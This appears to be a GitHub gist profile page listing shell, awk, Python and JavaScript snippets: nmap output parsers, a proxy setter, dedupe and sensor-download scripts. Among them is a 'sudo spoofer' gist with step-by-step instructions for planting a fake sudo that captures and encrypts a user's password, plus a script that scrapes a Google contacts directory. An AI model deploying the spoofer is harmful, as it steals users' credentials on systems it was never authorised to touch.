Skip to content

Instantly share code, notes, and snippets.

View YSaxon's full-sized avatar

Yaakov Saxon YSaxon

View GitHub Profile
@YSaxon
YSaxon / fix_quotes.sh
Last active October 25, 2021 17:10 — forked from kamermans/fix_quotes.sh
Replace fancy-quotes / curly-quotes / smart-quotes with standard ASCII single- and double-quotes in bash
#modified to work inline on stdin
sed "s/[$(echo -ne '\u00B4\u2018\u2019')]/'/g; s/[$(echo -ne '\u201C\u201D')]/\"/g"
@YSaxon
YSaxon / cowDedupe.sh
Last active March 29, 2024 20:21
Shell script to deduplicate in a directory with MacOS APFS cow copies using rdfind
#!/bin/zsh
# Optionally use apfs-clonechecker to check for clones before recloning, useful if you are rerunning the script
export do_clone_check=${do_clone_check:-1}
export cleanup=${cleanup:-1}
export verbosity=${verbosity:-3}
export do_extra_checksum_test=${do_extra_checksum_test:-1}
export reuse_existing_results_txt=${reuse_existing_results_txt:-0}
export minsize=${minsize:-4096}
@YSaxon
YSaxon / gist:d2b23c36bfbcdcbeca9d2c711df78861
Created February 2, 2022 18:10
awk snippet to get open ports from nmap output each formatted as xxx.xxx.xxx.xxx:port
#adapted from https://itectec.com/unixlinux/parse-grepable-nmap-output-to-print-a-list-of-iptall-open-ports-with-text-utils-like-awk/
cat nmap_output.gnmap | awk '{
for (i=4;i<=NF;i++) {
split($i,a,"/");
if (a[2]=="open") printf "\n%s:%s",$2,a[1];}
print ""}'
@YSaxon
YSaxon / set-proxy
Last active February 8, 2022 18:09 — forked from nathanchrs/set-proxy
Bash script to set proxy on Linux
#!/usr/bin/env bash
# Sets proxy settings.
# Run using `source` command. apt-get proxy settings requires sudo privileges.
# By nathanchrs.
# Configuration
# PROXY_HOST=""
# PROXY_USER=""
# PROXY_PASSWORD=""
@YSaxon
YSaxon / awk snippet extract bad cipher ip_ports from nmap
Last active June 2, 2022 19:20
awk snippet to extract ips/ports from nmap output that have bad ciphers
cat nmap/*.nmap | awk '/^[^\|]/ {if (printplugins==1 && !uniqdict[ip port]++) {print ip ":" port; for (i=0;i<pl;i++) {print pluginlines[i]}; print "\n"};pl=0;printplugins=0;}
/Nmap scan report for/ {match($0,/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/); ip = substr($0,RSTART,RLENGTH)}
/^[0-9]+.tcp/ {split($0,parr,"/"); port=parr[1]}
/^\|/ {pluginlines[pl++]=$0}
/ - [B-F]$/ {printplugins=1}'
@YSaxon
YSaxon / InBrowserGoogleContactsScraper.js
Last active June 2, 2022 19:18
Browser console script to scrape all contacts from https://contacts.google.com/directory
//Just paste this into your console while scrolled to the top of https://contacts.google.com/directory
//Adapted from https://github.com/KihtrakRaknas/DirectoryScraper/
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
totalnum = parseInt(document.querySelector("#yDmH0d > c-wiz:nth-child(15) > div > div:nth-child(3) > div:nth-child(1) > div").innerHTML.replace(/\D+/g, ""));
let contacts = [];
//let names = [];
let ids = new Set(); //to make sure it doesn't duplicate entries
@YSaxon
YSaxon / add-sast-tags.py
Created June 7, 2022 20:36 — forked from snyk-omar/add-sast-tags.py
Add tags to SAST projects in Snyk.
#! /usr/bin/env python3
"""
Need to install httpx and python-dotenv to run this script.
```
pip install httpx python-dotenv
```
Additionally, you will need a .env file with two variables in it:
@YSaxon
YSaxon / falcon_installer_downloader.py
Last active March 15, 2023 18:36
Crowdstrike Falcon agent installer downloader
from __future__ import print_function
#this should work with both python2 and python3 with no external dependencies
#most of the time it should be able to automatically determine the os
APIKEY=#apikey with SensorDownload-read permissions only
SECRET=#the secret generated with that key
import sys
import os
@YSaxon
YSaxon / sudo
Last active September 8, 2022 14:11
bash sudo spoofer, to obtain a users password if you have RCE but need their password to sudo
#step 1: generate an rsa public/private keypair, and write your public key into the script below
#step 2: put this script onto the computer you are attacking, make it executable, and ensure it has higher PATH priority than real sudo
#step 3: after you obtain the encrypted password, decrypt it with cat .penc | openssl rsautl -decrypt -inkey your_key.priv
#note that you could easily modify to spoof other password taking utils like sudosh or su
sudo=`which -a sudo | head -n 2 | tail -n 1` #you could also just edit this to put in the location of real sudo yourself
if [ -s ~/.penc ] #the script has already ran
then
$sudo "$@" #just forward it straight to real sudo
@YSaxon
YSaxon / get_list_of_falcon_kernels_supported.sh
Created August 19, 2022 20:30
script to get list of all supported falcon kernels
#!/bin/bash
#dependencies
#libarchive-tools (if not on mac/bsd)
#jq
#rpm2cpio
#dpkg
apitoken="GenerateAnAPITokenWithPrivilegesLimitedToSensorDownloadsAndThenPasteItHere=="
mkdir -p ~/.supported_kernels_checker